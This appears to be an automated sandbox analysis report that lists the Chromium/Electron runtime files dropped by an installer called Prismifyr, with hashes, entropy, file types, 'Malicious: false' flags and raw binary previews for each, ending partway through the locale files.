SHA1:	6FC0A751EDACBE061E97248FA550691225891030
SHA-256:	4BF4DD1A05ECBA975C90D85117DEA74B0E94114F882BB26A7E7D1029AFE8FDA8
SHA-512:	B3079B18419CA854118E12E8D4681C9E66AE55FBB1F69CFB3EF6322A1C17557C0ADBFAB5CED030133AF814D39483A2B5C7090CA3ABB545E8808FFB6ABE6B3AE6
Malicious:	false
Preview:	Generated by licenses.py; do not edit. --><!doctype html>.<html>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width">.<meta name="color-scheme" content="light dark">.<title>Credits</title>.<link rel="stylesheet" href="chrome://resources/css/text_defaults.css">.<link rel="stylesheet" href="chrome://credits/credits.css">.</head>.<body>.<span class="page-title">Credits</span>.<a id="print-link" href="#" hidden>Print</a>.<label class="show show-all" tabindex="0">.<input type="checkbox" hidden>.</label>.<div class="open-sourced">. Chromium software is made available as source code. <a href="https://source.chromium.org/chromium">here</a>..</div>..<div style="clear:both; overflow:auto;"> Chromium <3s the following projects -->.<div class="product">.<span class="title">2-dim General Purpose FFT (Fast Fourier/Cosine/Sine Transform) Package</span>.<span class="homepage"><a href="http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html">homepage</a></span>.<labe

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\Prismifyr_Installer_v2.1.exe

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	186389504
Entropy (8bit):	6.755948449281348
Encrypted:	false
SSDEEP:	1572864:AafJfQkKEVr6FTkCbxqd6PgLAAez2YCSXczL2UG4kbffUgAPqpL44fQ4lTX3omTB:D5kbdbB39f
MD5:	F90856B824B429A51D390C25F21C9683
SHA1:	D0EDD6E25D5C7B50C320794C956AE63A0012620A
SHA-256:	147327A853ADCEDDCF49A5CF07E7A727E87798F399E3AF5680909B640DE4DBE4
SHA-512:	B51B39808E961EAC513CD42E3B5030F0BF3268DC91DE4B3CC17B8B7C1C38B214935783E02204EE3F5BAECA0037B16BC23DC26DDDB6D9F9B3A970DE092D6415F4
Malicious:	false
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........."......f%......... C~........@............................. [...........`......................................... ........;..h.....H..........%I...........K.$&..............................(.....%.@...........0R.......b.......................text....e%......f%................. ..`.rdata........%......l%.............@..@.data.....H..0...>..................@....pdata...%I......&I..P..............@..@.gxfg....B....H..D...v..............@..@.retplne.....PH..........................rodata......`H..................... ..`.tls..........H.....................@...CPADinfo8.....H.....................@...LZMADEC.......H..................... ..`_RDATA........H.....................@..@malloc_h......H..................... ..`prot..........H.....................@..@.rsrc.........H.....................@..@.reloc..$&....K..(..................@..B................

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\chrome_100_percent.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	151326
Entropy (8bit):	7.91733776058705
Encrypted:	false
SSDEEP:	3072:Mz8JCGIdkwTPa/XKjKkxP1L2o418Gb0+VRLf0ld0GY3cQ3ERVm2I:Mz81Idk8a4Kkx5K18Gb0OV8ld0GecQ35
MD5:	3C72D78266A90ED10DC0B0DA7FDC6790
SHA1:	6690EB15B179C8790E13956527EBBF3D274EEF9B
SHA-256:	14A6A393C60F62DF9BC1036E98346CD557E0AE73E8C7552D163FA64DA77804D7
SHA-512:	B1BABF1C37B566A5F0E5F84156F7AB59872690BA0BDD51850525F86769BFEBC245F83988A3508945CF7617D73CD25E8469228974DD2C38415388B6A378552420
Malicious:	false
Preview:	..........<.....................V...........C.......................4...........i.....9......!.....%....:'.....1.....<....f?.....C.....G.....I.....J.....M.....O.....R....vV.....Z.....]....H`.....a....-c....Td.....f..%..f..&..l..(.Dr..+..v..3..y..4..}..=.....>.....?.3...A.....E.....F.....I....J.%...K....L.....V.....W.u...X.....Y.=....+....L.................. ....1........".....#.....$.....%.....&.....'.....,.,...-........ ....#....%.........0.....3...."9....2D.....E.....N.....T....QZ...._....f....Mh.....l....p....Ez....e}..............A.....y..........G................x....................................k.....B..........F...........X..........!...!.O...".....$.B...%....*.B...,.....-.........F.....G....H.b...I.....J.h...K.=...L.....M.....N.....O....P.....Q.n...R.....S....T....U....V.....W.\|...Y.@!..Z.."..[.."..\.#..].e$..^..%.._..%..`..'..a..(..b..)..e..,.....1...."2....y2.....2....n3....4....e5....5.....6....U6....6.....6.....<.....@....bA.....A

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\chrome_200_percent.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	228242
Entropy (8bit):	7.947127774301086
Encrypted:	false
SSDEEP:	6144:HDQYajN6svyABnI86uKkxugx5GMRejnbdZnVE6YoppO4:sfjN6svyABTKkxa6edhVELoXO4
MD5:	3969308AAE1DC1C2105BBD25901BCD01
SHA1:	A32F3C8341944DA75E3EED5EF30602A98EC75B48
SHA-256:	20C93F2CFD69F3249CDFD46F317B37A9432ECC0DE73323D24ECF65CE0F3C1BB6
SHA-512:	F81ED1890B46F7D9F6096B9EF5DAAB5B21788952EFB5C4DCD6B8FD43E4673A91607C748F31434C84A180D943928D83928037058493E7E9B48C3DE1FC8025DF7F
Malicious:	false
Preview:	..........<......... .........................................v%..........-....25.....:.....>....=G.....K....._....Yt....uy.....................g........................................\|...........b...........6...%.....&.z...(.J...+.....3.....4.....=.r...>."...?.....A.....E.....F..#..I.c+..J..7..K..?..L..F..V..J..W.~M..X..R..Y.nS....T....X....[....^...a....d....i....l.."..p..#..r..$..s..%..t..&..u..'..v..,.,w..-..................".....d.....m........................................X................x...... .....#....-.....0....#9.....=.....F.....Q....KU.....V....._....Kh.....j....>m....Kq....`x....xy.........`...............^.....\.....I.....j.....[........!...."....$....%.S.......,.....-..........F....G.....H.....I.....J....K.:...L.....M.-...N.....O.\|...P.....Q....R....S.f...T.G...U._ ..V.e&..W..,..Y..1..Z.J3..[.@4..\.c5..].6..^.7.._.8..`.p:..a.$<..b..=..e.J....Z.....Z....G[....[....T\....]....c^....^....._....w_....._.....`....?f....5j.....j....Mk

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\d3dcompiler_47.dll

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4916728
Entropy (8bit):	6.398031738914566
Encrypted:	false
SSDEEP:	49152:hCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvdiD0N+YEzI4og/RfzHLeHTRhFRN1:oG2QCwmHjnog/pzHAo/Ayc
MD5:	A7B7470C347F84365FFE1B2072B4F95C
SHA1:	57A96F6FB326BA65B7F7016242132B3F9464C7A3
SHA-256:	AF7B99BE1B8770C0E4D18E43B04E81D11BDEB667FA6B07ADE7A88F4C5676BF9A
SHA-512:	83391A219631F750499FD9642D59EC80FB377C378997B302D10762E83325551BB97C1086B181FFF0521B1CA933E518EAB71A44A3578A23691F215EBB1DCE463D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\|3..]...]...]..e\...]...\.5.]..e...]..wX...]..wY...]..e^...]..eX.y.]..eY...]..e]...]..eU./.]..e....]..e_...].Rich..].................PE..d.....Ne.........." ......8..........<).......................................K......JK...`A........................................`%G.x....(G.P.....J.@.....H.......J..%....J.....p.D.p....................S<.(...pR<.@............S<.(............................text.....8.......8................. ..`.rdata...F....8..P....8.............@..@.data...`....@G......@G.............@....pdata........H......@H.............@..@.rsrc...@.....J......@J.............@..@.reloc........J......PJ.............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\ffmpeg.dll

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2924544
Entropy (8bit):	6.704464688156766
Encrypted:	false
SSDEEP:	49152:2kzMF+in6Rjp84IEeOUmlyNTzk74y0V+X6CfTBPwN/4MT+fc0:2kXpCOUyy5Z96Q/Wk
MD5:	070710A53A0F388A2967D6084228DB12
SHA1:	34E72D2AEFD79AEE42BF85D6AAFF35B82AB1EF65
SHA-256:	4813EFA3758EE8AAC161FE00806F9EC4B65E31886FFA2075115D4986F9D05205
SHA-512:	12558C42135CDF3BDF5A24DA235C48DA5A28789C90CDEBF85FEA5746BA18BBD4428F9A8F0A47876D2ACF4E22EEB04AEA96A0317F8480082073D42FAAD8306952
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ......#..........k........................................:...........`A........................................0.........(............p9..............:.@5..,.........................(.....$.@...........x.*.8............................text.....#.......#................. ..`.rdata..D.....$.......#.............@..@.data.........+.."...p+.............@....pdata......p9.......+.............@..@.gxfg....+... :..,...8,.............@..@.retplne.....P:......d,..................tls.........`:......f,.............@..._RDATA.......p:......h,.............@..@.reloc..@5....:..6...j,.............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\icudtl.dat

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	10468208
Entropy (8bit):	6.265606239082294
Encrypted:	false
SSDEEP:	196608:+SPBhORiYAXHiXUxY/iJ53IWhlVjEeIu2Y6U:++wkpHiXUxY/iJ53IWhlVjEeIZU
MD5:	FFD67C1E24CB35DC109A24024B1BA7EC
SHA1:	99F545BC396878C7A53E98A79017D9531AF7C1F5
SHA-256:	9AE98C06CBB0EA43C5CD6B5725310C008C65E46072421A1118CB88E1DE9A8B92
SHA-512:	E1A865E685D2D3BACD0916D4238A79462519D887FEB273A251120BB6AF2B4481D025F3B21CE9A1A95A49371A0AA3ECF072175BA756974E831DBFDE1F0FEAEB79
Malicious:	false
Preview:	...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html ......E.......E...(...E...)...F...).."F...1..5F..`1..EF...N..XF..PN..hF...N..xF.......F.......F.......F..@....F.......F......F..0....F.......G......$G......7G......JG......]G..@...pG.......G.......G..@....G.......G.......G..@....G.......G..p....H..`....H.......H..@...AH......TH..p...gH.....zH.......H..`....H.......H.......H..P....H.......H......H..`....I......%I..P...:I......RI.....bI..@...uI.......I.......I.......I..P....I.......I.......I..0....I.......J... ...J.. !..-J..@$..=J...$..PJ...$..qJ.......J...<...J....&..J....&..J.. .&..J....&..K..`.&..K....&.3K....&.JK..0.&.aK....'.xK....'..K....'..K...(..K....(..K...O)..K....)..L..0Q.>L..`..gL..Pi+..L....+..L...i,..L....,..L..P}-..M..@.-.,M.. .-.EM....-.\M....-.uM....-..M...$...M..0%...M....0..M...j0..M..`.0..N..p.0.1N....0.AN....0.TN..@.0.iN....0..N..0.0..N....0..N....0..N....1..N....1..N..

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\libEGL.dll

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	484352
Entropy (8bit):	6.370928516739512
Encrypted:	false
SSDEEP:	6144:teoMqSwktU6O8J6AGrIKLD0Rv8KRWAwi+u7fSGSQtZu:ZMeAQ8JFGrIKLDW9W2+u7fSGSb
MD5:	0109839C82BFB399D68D906DEF2E3618
SHA1:	11879DA345C681DB933A893954A08F8DF6923636
SHA-256:	1393633DCCB633E44F717A3737E4B88315662856916FE534B5F9017E15464074
SHA-512:	B25AD5F24E20654622C53CE89D6AFF0678179F823CB446110AB64ECCA8E2688D5E98582985699D82C473D87F31AD12398DDFE6911B970021C96EBC587F8A06B3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." .....L................................................................`A.........................................L.......[..(.......x....0...?..............<....D.......................C..(....`..@............^...............................text...:K.......L.................. ..`.rdata...q...`...r...P..............@..@.data....K....... ..................@....pdata...?...0...@..................@..@.gxfg... &...p...(..."..............@..@.retplne.............J...................tls....!............L..............@..._RDATA...............N..............@..@.rsrc...x............P..............@..@.reloc..<............V..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\libGLESv2.dll

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8364544
Entropy (8bit):	6.49454047094872
Encrypted:	false
SSDEEP:	98304:5sbPUQUHoQ5dKV0H4HrX7OBAK2dMNFR7VxVXC3OTv+:5sbP/UHoQ5AV++wAlMlVXmOK
MD5:	EBFBBD4F4887CADD1C135F4CA714E00F
SHA1:	C37FC4A0F627D5346561EB29C556A54A050C8D95
SHA-256:	FCE6894831D945EC7CA141290DD5B57375D83621B8EDF13BA02B14CADCEE6C29
SHA-512:	EC15F8700330994B95C7F0961ECCBB8CD8401AF3051448375347A2E75352F1D9034A1C68E5B9AAB887D07360E38FC301F256B466DCC83377451F171320440B13
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ......c...........T...................................................`A........................................].w.......w.d.............\|.\J...................v.......................v.(.....c.@.............x.......w.@....................text.....c.......c................. ..`.rdata........c.......c.............@..@.data.........x.......x.............@....pdata..\J....\|..L...F\|.............@..@.gxfg....-...@........~.............@..@.retplne.....p........~..................tls....B.............~.............@..._RDATA................~.............@..@.rsrc.................~.............@..@.reloc................~.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\af.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	521292
Entropy (8bit):	5.4150086042392775
Encrypted:	false
SSDEEP:	12288:qFoe2+o3LDVy4VGmxu/PS+H2JynCa5eIRVho0vMI5gX2FT+FXZ22h+2pslVtn5g5:qFu+o7DU4Vj8/PS+H2JynCa5eIRVho0m
MD5:	CCAFB2B77E0A8C7904819F4A9F699F6C
SHA1:	309989062312FAC042770035240D57D8C0E237B8
SHA-256:	F8FC117DD58DDA4A34B26D82F79A9ABA6008B01308581355444604A878A941BB
SHA-512:	DEE9BB367A210A12B93A67C4D4C934E286A5D4D06FC5B58C23206C4A584A6B5F414AFF47C9F78307CB96D346B2CFE189F8831391EF7344AD73FA986B95550DD0
Malicious:	false
Preview:	.........'..e.....h.....i.....j.(...k.7...l.B...n.J...o.O...p.\...q.b...r.n...s.....t.....v.....w.....y.<...z.j...\|.....}...................................................................$.....1.....@.....Q.....d...........O.......................q.................,.......................[.......................T......................./.....}.................#.....q.................2.......................>.......................:.......................E.......................v...........(.....?.............................S.............................N.....m.....v................Z.....i............ ....P ....` ..... ..... ...."!....+!....\|!.....!.....!.....!....E"....."....."....."....?#.....#.....#.....$...._$.....$.....$.....$....?%.....%.....%.....%.....&....c&.....&.....&.....'....k'.....'.....'....8(....v(.....(.....(.....)....W).....).....).........O..........*....1+.....+.....+.....,.....,.....,....)-....K-.....-..........C.....V................../...../....s/...../...../

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\am.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	842504
Entropy (8bit):	4.898655400857648
Encrypted:	false
SSDEEP:	24576:EaqKTorJhTCQIymrxn7Kxjkexpz205C2gMRsVGq+XG/6Kx/Ppp:65k
MD5:	4CCAF97AFC2714724A32E9CD0F528A42
SHA1:	7A74B02296CC237885D96179F4F81B65D8538299
SHA-256:	F5FF8BCFFD6222D96BB2C180BEA945D9E7F90FE3B4D2123EB3FB6A298F8FC61E
SHA-512:	F3990073B9F6A3662265BB5F39B942B06913FB3A6A99E3416D1099CC9DE4089C9A98209C5E2F633D7EEF984C7BE155CD9624AFC2FA2B0F3A4B735490CE743B84
Malicious:	false
Preview:	.........'..e.$...h.,...i.7...j.C...k.R...l.]...n.e...o.j...p.w...q.}...r.....s.....t.....v.....w.0...y.W...z.....\|.....}...............................#..........1.....8.....9.....:.....?.....[.....q.......................r...........,.......................H.................e...........W...........b...................................e................@...........b.......................p......................." ....u ..... ....@!.....!....."....S".....".....#.....#.....$.....$.....%....+&....Z&.....&..../'....U'.....'.....'....`(.....(.....(.....).....).....).....).....*.....+.....+.....+....R,.....,....B-....X-.....-....u.................q/...../....C0....b0.....0....f1.....1.....1....r2.... 3.....3.....3....B4.....4.....4.....5.....5.....6....H6....p6.....7....u7.....7.....7.....8.....9....t9.....9....<:.....:.....:.....:.....;.....<....d<.....<....>=.....=.... >....I>.....?.....?....f@.....@....KA.....A....`B.....B....^C.....D....rD.....D.....D....XE....~E.....E....JF.....F....HG

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\ar.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	923034
Entropy (8bit):	4.9271696153543285
Encrypted:	false
SSDEEP:	12288:BjwXEBFE/T/RKOEZrpvPUoIm+kuESJ5TNphQ/fitCj:XU5tQh
MD5:	E51D37F3FAD595E994047CD1BD341A5A
SHA1:	4326804E59A5E9DCD10BBCEF8CC1F33AC82FFC31
SHA-256:	79E4BB5E4E371414ED7986CFEC6523FFA68D2BBB5122C2C645085E7F8F804EB5
SHA-512:	96D440F7F84EAA3FA3409333EEB7CE8DFC3A1C9A9D47A9604A596D98DB28827254837A2A208D8C281354575F78CAA6F984804E85A9120B3FE699124236DDA64F
Malicious:	false
Preview:	.........'..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.2...t.I...v.~...w.....y.....z.....\|.&...}.W.............................................................................&.....X.....L...../.......................,.................T...........y...........K...........X...................................w.................5...........m.......................h............................., ....] ..... .....!.....!....."....."....x#.....#.....$.....%.....%.....&.....&....\|'.....'.....(....e(.....(....N).....).....)...............*.....+.....+....f,.....,.....,....t-.....-....8.....I............/...../...../....}0.....1....A1....X1.....1....c2.....2.....2....R3.....3....T4....q4.....4....p5.....5.....5....W6.....6.....6.....7....X8.....8.....8....a9.....9....+:....m:.....:....E;....h;.....;....&<.....<.....<.....=.....=.....>....W>....p>....x?....Y@.....A....:A.....A....yB.....B.....C.....C.....D....QD....hD.....D....1E....WE....kE....+F.....F....2G....TG.....G

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\bg.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	961131
Entropy (8bit):	4.667169963270736
Encrypted:	false
SSDEEP:	24576:LqD0A6CqrOJLYazQkEC/UTVbAUkp373ZS73AAKUyVDxzR4umpfd2Wd5pbuFZojQB:+v6CqrOJLYn+UTVbAUkp373ZQ3AgyVDh
MD5:	B23E1D286B4332102DDED607E667C71E
SHA1:	E343FACD16BD504714FE102949A3CC06C92D982B
SHA-256:	BD277988128FEC0642D5FB2D922FB6D8DCA33EABE2546CDBEEF7006EC8B0757A
SHA-512:	9037089867A0D99F60A458F61EF4E45D00482F9F0558F908FAC6E3C8FDF80FA5029DE433CF89DD7F55671FDC6E4C8E8742CF9C53D2F4E40B5EA48347A8F8C3DF
Malicious:	false
Preview:	.........'..e.....h.....i.$...j.0...k.?...l.J...n.R...o.W...p.d...q.j...r.v...s.....t.....v.....w.....y.D...z.r...\|.....}.................................................%.....&.....'.....,.....N.....g.............................&.....W.................;.....e...........r...........\.....R.......................t...........H.....n...............................................d.....` ...."!.....!.....!.....".....#....$$....Z$...."%.....%....7&....a&....M'.....(.....(.....(.....).........P+.....+....E,.....,.....-....+-.....-....^.................\|/.....0....L0....r0....)1.....1.....2....G2.....2....p3.....3.....3....n4.....4....25....R5.....5....c6.....6.....6....p7.....7....L8....t8....o9....U:.....:..../;.....;....`<.....<.....<....a=.....=....!>....i>....E?.....?....`@.....@.....A....5B.....B.....C.....C....PD.....D.....D.....E....F.....F.....F.....G....:H.....H.....H.....I.....J....ZK.....K.....L....9M.....M.....N.....N....fO.....O.....O.....P...."Q....mQ.....Q.....R....fS.....S

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\bn.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	1239850
Entropy (8bit):	4.281731110292573
Encrypted:	false
SSDEEP:	3072:nv35NhwKwc/XeYvFCkS32e/RT+amfmB0xyoYy3wFm7BbYzIh+5NBrqL:v7hw9c/uYvcvhoYSwFm7BbM57qL
MD5:	4BE5823C75FCC1C1156A0C8813CCECE8
SHA1:	123F94F742F5CC20E9DA173A611A5F0052253469
SHA-256:	21B1AB4BEAB7B420234B18C41FA48D6CE4BF26D5DA89E8B235D6E56F74FC2E2D
SHA-512:	FB3263004A4DAC70C1D03BE6A9AB984D7D04889B5614A1CCF655F3A76961698DAB6DFF1C059BB6832487530472BE29771E01AE8CC665A19AAE4B0F6913B56683
Malicious:	false
Preview:	.........'..e.....h.....i.....j.....k.....l.)...n.1...o.7...p.D...q.J...r.V...s.....t.....v.....w.....y.$...z.R...\|.y...}...............................................................................6.....[.....................................................E.......................`.....................................................T.......................1.....X ....6!.....!...."".....#.....#....d$.....$.....%.....&.....'....7'.....(.....(.....)....K)....F....0+.....+.....+.....-................./...../....q0.....0.....0.....1...."2....f2.....2....!3.....3.....3.....4.....4.....5.....6....@6.....6.....7.....7....&8.....8.....9.....9.....9.....:....?;.....;.....;....^<.....=....R=....x=.....>.....?.....@.....@.....A.....B.....C....WC.....C....yD.....D.....D.....E....oF.....F.....G.....G.....H....dI.....I.....J....)K....uK.....K.....L....;M.....M.....M.....N.....O....)P....bP.....Q.....R.....S.....T....FU....HV.....V....RW....4X.....X....]Y.....Y....cZ....[.....[.....[.....\.....]

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\ca.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	585477
Entropy (8bit):	5.408287949418745
Encrypted:	false
SSDEEP:	12288:HHUTPoa7D1DeCie2O3R45PqFuN3Mw2juwHzejm0t3lAkbKTenjRxwOwjcXR2lxQc:UY47SR57hhMNU62B56AUa+
MD5:	FF3AE427DE1581CA390B0B1F36F39F7D
SHA1:	9F03512629C5042EF5A52E1A20F08CE5EFA351AA
SHA-256:	3D98926176EA7E250BA58E304A3498D859CF66B9A123498F177300A109F2CF07
SHA-512:	C6B458415AD16CBE3C3463DEB32CA0A1039447E4E170A37581D0945F2CEF07068DD37BCC45DF49A5507D26FBE2DC26988F7EC50EB7A26F3C0691602440238FF2
Malicious:	false
Preview:	.........'..e.....h.....i.....j.....k.)...l.4...n.<...o.A...p.N...q.T...r.`...s.....t.....v.....w.....y.....z.\...\|.....}.........................................................................-.....F.....f...........&...........".....?.................[.....t.............................u.................$.....~.......................s...................................:.....h...........Z.................5.......................Q.......................k.................4...........T.................;.......................' ....q ..... ..... .....!....V!.....!.....!....."....d".....".....".....#....j#.....#.....#.....$....P$....{$.....$.....$....%%....Q%....^%.....%.....&....I&....Z&.....&....L'.....'.....'.....(....d(.....(.....(.....)....T)....w).....)....$....[....p.........V+.....+.....+....3,....z,.....,.....,.....-....f-.....-.....-.... .....k.................j/...../....d0.....0.....1....k1.....1.....1....Q2.....2.....2.....2....H3.....3.....3.....3....A4.....4.....4.....5

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\cs.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	603449
Entropy (8bit):	5.84173877986545
Encrypted:	false
SSDEEP:	6144:83udwrsAbJG1v6JPyUTNIAsZSmAcNO5c0CjAh/NOKbJSBf48Q0:8QdS7RIAsMx5c0CjAh/NOeJST
MD5:	57655C2478BB63B95D13FFC90EF06F75
SHA1:	671444C30C1993A5EEF87A6386B3D53BED67C772
SHA-256:	5D97EC3BC8A4DCEDC7F3003BE4AE81F9451A323977469647AD6D499DA1A93DA1
SHA-512:	F911CF439BAC97F0B547B7BA37A3CB0E624D3D74D54BBB596D77E072FC47DA4131E60F8C916AE744FFB75683263BCB9D7C9998BE519BBCCB2570C53123002004
Malicious:	false
Preview:	.........'..e.....h.....i.....j.....k.....l. ...n.(...o.-...p.:...q.@...r.L...s.{...t.....v.....w.....y.....z.H...\|.o...}...............................................................................!.....3.....H...........r.................P.......................}...........U.....n...........S.......................i.......................X.......................h.................N.................?...........&....._.....w...........J.........................................N.................+.............................b.......................C ..... ..... ..... ....2!.....!.....!.....!....F"....."....."....."....A#.....#.....#.....#....6$.....$.....$.....$....N%.....%.....%.....&....z&.....&....='....T'.....'.....'.....(.....(....e(.....(.....(.....(....k).....).....).........q.........&+....]+.....+.....,.....,....2,.....,.....-....E-....Z-.....-....4.....u............/....{/...../...../....Y0.....0....1....K1.....1.....2....X2....m2.....2....#3....H3....\3.....3....64....p4

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\da.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	546500
Entropy (8bit):	5.454156507277653
Encrypted:	false
SSDEEP:	6144:OBawkwFfzzVm05uE7ZY1seSjUwlQO/JwcgobwpPaHwn5N/6UdKHzjd42Fxw8:4awkwR7djwbv5N/NdSn
MD5:	8C9DA17F5FB04C4AD8393F5FB33F556B
SHA1:	F99197310E0EA4DCDFB2145F903C80C044074E0B
SHA-256:	B26270AE9BF298C18002803F97877FED40E5F2EDD17B9F7865E325DF99E6A858
SHA-512:	E2B5CA200FDA7D54CD3F40BC4A36B57D7D0DFD7CE5709E238CAF14863F3B630A71F243C0A6686762A785D6105E0A5EBD3AF766F427920E9660C92426878043D3
Malicious:	false
Preview:	.........'..e.....h.$...i.5...j.A...k.P...l.[...n.c...o.h...p.u...q.{...r.....s.....t.....v.....w.....y.U...z.....\|.....}...............................!.....(...../.....6.....7.....8.....:.....H.....X.....l.................j.................+.......................v...........K.....g...........7.....g.....{................Q.....^.................<.....J.................B.....\...........H.........................................8.......................v...........J.....d...........}.................K.......................2........................ ....d ..... ..... ..... ....\!.....!.....!.....!....a"....."....."....."....U#.....#.....#.....#....4$....Z$....d$.....$.....%....J%....X%.....%....S&.....&.....&.....'....i'.....'.....'.....'....F(....d(....\|(.....(....#)....@)....P).....)....8....r..........+....a+.....+.....+.....,....l,.....,.....,.... -....^-.....-.....-............................{/...../....)0....X0.....0....$1....T1....f1.....1.....1.....2....'2.....2.....2.... 3

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\de.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	582999
Entropy (8bit):	5.506897107247955
Encrypted:	false
SSDEEP:	6144:GwqiLKbV0Y5r3K7Up26YwgsaKa6mzdyO9BdTgAKOzct5IjO63BMpUhPMlIsCx3:lKhr3K7UpPgsavbHYt5y/MpU/sCx3
MD5:	9E9266C10621B47A4FAB46867652EC7B
SHA1:	0CE58349C662F4529991034EA2F8423CB79F1946
SHA-256:	8370E7BE11AB27D7800CD33B10D8964148C44E1D34CF2CBE117539AC09F67797
SHA-512:	E6BED71C09DE43696D807E6A7025BC2D7E6B6FA822AB09AED1D546E9486FB41FD910C11F2D9E621FFD1A2BF55FB6F2D7749B09035B431F0A9D7A9C3A85CDC435
Malicious:	false
Preview:	........J'..e.....h."...i.3...j.?...k.N...l.Y...n.a...o.f...p.s...q.y...r.....s.....t.....v.....w.,...y.S...z.....\|.....}.....................................&.....-.....4.....5.....6.....8.....I.....\.....n...........>...........V.....k...........n.................K...................................K.....c...........N.....\|.................w.................F.............................3.....o...................................[................./...........[.................i...........].....\|...........[ ....} ..... ..... ....j!.....!.....!....."....\|"....."....."....=#.....#.....$.....$.....$.....%....C%....S%.....%....:&....m&....~&.....&....c'.....'.....'.....(.....(.....(.....(....v).........c....y.........V+....x+.....+.....+....B,...._,....r,.....,....E-....n-.....-......................./....k/...../...../.....0....}0.....0.....1....,1.....1....#2....d2....z2.....2.....3.....3.....3....u4.....4....55....b5.....5....K6....x6.....6.....6....a7.....7.....7.....8.....8.....8

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\el.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	1053099
Entropy (8bit):	4.7540777554166915
Encrypted:	false
SSDEEP:	24576:B6GHcaFbu4FiYX9m3MDlrJXDsSlmiH63D2NpUyEjHm1mVT8y2IWYNQKlCt2rDQu8:lHcaFbu4FiYX9m3MDlrJXDsSlmiHaD2t
